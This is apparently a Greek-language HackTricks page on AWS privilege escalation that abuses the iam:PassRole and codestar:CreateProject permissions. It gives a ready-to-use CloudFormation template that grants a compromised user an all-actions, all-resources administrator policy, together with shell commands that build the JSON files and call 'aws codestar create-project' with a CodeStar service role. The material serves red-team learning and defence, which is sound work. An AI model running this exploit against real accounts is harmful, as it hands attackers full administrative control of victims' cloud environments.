iam:PassRole, codestar:CreateProject

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Με αυτές τις άδειες μπορείτε να καταχραστείτε έναν ρόλο IAM codestar για να εκτελέσετε τυχαίες ενέργειες μέσω ενός cloudformation template.

Για να εκμεταλλευτείτε αυτό, πρέπει να δημιουργήσετε ένα S3 bucket που είναι προσβάσιμο από τον επιτιθέμενο λογαριασμό. Ανεβάστε ένα αρχείο με όνομα toolchain.json. Αυτό το αρχείο θα πρέπει να περιέχει την εκμετάλλευση cloudformation template. Το παρακάτω μπορεί να χρησιμοποιηθεί για να ορίσετε μια διαχειριζόμενη πολιτική σε έναν χρήστη υπό τον έλεγχό σας και να του δώσετε δικαιώματα διαχειριστή:

{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": ["<compromised username>"]
}
}
}
}

Επίσης ανέβασε αυτό το empty zip αρχείο στο bucket:

Θυμήσου ότι το bucket με τα δύο αρχεία πρέπει να είναι προσβάσιμο από τον λογαριασμό του θύματος.

Με τα δύο πράγματα ανεβασμένα, μπορείς τώρα να προχωρήσεις στην εκμετάλλευση δημιουργώντας ένα codestar project:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Αυτή η εκμετάλλευση βασίζεται στην εκμετάλλευση Pacu αυτών των δικαιωμάτων: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Σε αυτό μπορείτε να βρείτε μια παραλλαγή για να δημιουργήσετε μια πολιτική διαχείρισης διαχειριστή για έναν ρόλο αντί για έναν χρήστη.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks